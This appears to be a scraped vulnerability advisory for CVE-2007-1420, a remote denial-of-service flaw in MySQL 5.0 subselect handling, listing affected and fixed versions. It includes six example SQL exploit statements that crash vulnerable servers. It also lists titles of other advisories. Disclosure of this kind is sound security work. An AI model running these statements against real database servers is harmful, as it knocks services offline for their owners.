exploits , vulnerabilities , articles , MySQL Single Row SubSelect Remote Denial Of Service Vulnerability

Title	MySQL Single Row SubSelect Remote Denial Of Service Vulnerability
Published	2007-03-09-12:00AM
Updated	2008-05-21-06:24PM
Class	Failure to Handle Exceptional Conditions
CVE	CVE-2007-1420
Remote	Yes
Local	No
Credit	S.Streichsbier and B.Mueller of SEC-CONSULT are credited with the discovery of this vulnerability.
Vulnerable	Ubuntu Ubuntu Linux 6.10 sparc Ubuntu Ubuntu Linux 6.10 powerpc Ubuntu Ubuntu Linux 6.10 i386 Ubuntu Ubuntu Linux 6.10 amd64 Ubuntu Ubuntu Linux 6.06 LTS sparc Ubuntu Ubuntu Linux 6.06 LTS powerpc Ubuntu Ubuntu Linux 6.06 LTS i386 Ubuntu Ubuntu Linux 6.06 LTS amd64 rPath rPath Linux 1 RedHat Enterprise Linux Desktop Workstation 5 client RedHat Enterprise Linux Desktop 5 client RedHat Enterprise Linux 5 server Pardus Linux 2007.1 MySQL AB MySQL 5.0.33 MySQL AB MySQL 5.0.27 MySQL AB MySQL 5.0 MandrakeSoft Linux Mandrake 2007.1 x86_64 MandrakeSoft Linux Mandrake 2007.1 MandrakeSoft Linux Mandrake 2007.0 x86_64 MandrakeSoft Linux Mandrake 2007.0 MandrakeSoft Corporate Server 4.0 x86_64 MandrakeSoft Corporate Server 4.0 Gentoo Linux
Not Vulnerable	MySQL AB MySQL 5.0.37 MySQL AB MySQL 5.0.36
Code	The following example exploit statements are available:SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1)); SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1)); SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1); SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1)); SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1)); SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-07 FFmpeg TCP/UDP Memory Leak Denial Of ServiceVulnerability
2009-12-04 Achievo Document Types Section Arbitrary File Upload Vulnerability
2009-12-04 Achievo Scheduler Category HTML Injection Vulnerability
2009-12-04 Yoast Google Analytics for WordPress Plugin 404 Error Page Cross Site Scripting Vulnerability
2009-12-04 DevIL DICOM File Handling Remote Buffer Overflow Vulnerability
2009-12-04 Invision Power Board Local File Include and SQL Injection Vulnerabilities
2009-12-04 Mozilla Firefox Yoono Extension DOM Event Handler Cross Domain Scripting Vulnerability
2009-12-04 UBB.threads Multiple File Include Vulnerabilities
2009-12-04 Expat Unspecified XML Parsing Remote Denial of Service Vulnerability
2009-12-04 Apple Mac OS X Java Applet Certificate Validation Security Bypass Vulnerability